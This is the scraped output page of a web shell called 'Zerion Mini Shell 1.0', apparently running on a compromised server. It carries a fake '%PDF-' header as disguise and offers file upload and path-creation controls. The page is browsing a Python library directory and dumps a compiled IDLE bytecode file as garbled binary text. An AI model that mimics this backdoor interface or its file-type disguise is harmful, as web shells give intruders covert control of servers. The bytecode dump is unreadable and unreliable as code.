%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/lib/python3.8/idlelib/__pycache__/
Upload File :
Create Path :
Current File : //usr/local/lib/python3.8/idlelib/__pycache__/zoomheight.cpython-38.pyc

U

qak@spdZddlZddlZddlZGdddeZGdddZddZd	d
Ze	dkrlddl
mZed
ddddS)z Zoom a window to maximum height.Nc@seZdZdS)WmInfoGatheringErrorN)__name__
__module____qualname__rr./usr/local/lib/python3.8/idlelib/zoomheight.pyrsrc@s2eZdZiZddZd
ddZddZdd	ZdS)
ZoomHeightcCs||_|jj|_dS)N)editwintop)selfr	rrr__init__szZoomHeight.__init__NcCsD|}|dkr|jn$|r$dnd}|jjdd|dddS)NZRestoreZZoomoptionsz* Heightz Height)ZmenuindexZlabelbreak)zoom_heightr
Zbellr	Zupdate_menu_label)reventzoomedZmenu_statusrrrzoom_height_events
zZoomHeight.zoom_height_eventcCs~|j}t|\}}}}|dkr&dSz|\}}Wntk
rLYdSX||krlt|||||fdS|ddSdS)NnormalTF)r
get_window_geometrywm_stateget_max_height_and_y_coordrset_window_geometrywm_geometry)rr
widthZheightxy	maxheightmaxyrrrr!s
zZoomHeight.zoom_heightcCs|j}||f}||jkr|}z|dWntjk
rTtdYnX|t	|\}}}}t
jdkr|d}|}|d|t	|}	|	dd|f}
t
||
||}|||7}||f|j|<t
||	|||j|S)Nrz_Failed getting geometry of maximized windows, because the "zoomed" window state is unavailable.win32rr)r
Zwinfo_screenwidthZwinfo_screenheight_max_height_and_y_coordsrtkinterZTclErrorrupdatersysplatformZwinfo_rootyr)rr
Zscreen_dimensionsZ
orig_stateZmaxwidthrZmaxxrZmaxrootyZ	orig_geomZ
max_y_geomZmax_y_geom_rootyrrrr<s:






z%ZoomHeight.get_max_height_and_y_coord)N)rrrr"rrrrrrrrrs

rcCs&|}td|}ttt|S)Nz(\d+)x(\d+)\+(-?\d+)\+(-?\d+))rrematchtuplemapintgroups)r
ZgeommrrrrnsrcCs|dj|dS)Nz{:d}x{:d}+{:d}+{:d})rformat)r
Zgeometryrrrrtsr__main__)mainz!idlelib.idle_test.test_zoomheightF)	verbosityexit)__doc__r'r%r#	ExceptionrrrrrZunittestr0rrrr<module>sb

Zerion Mini Shell 1.0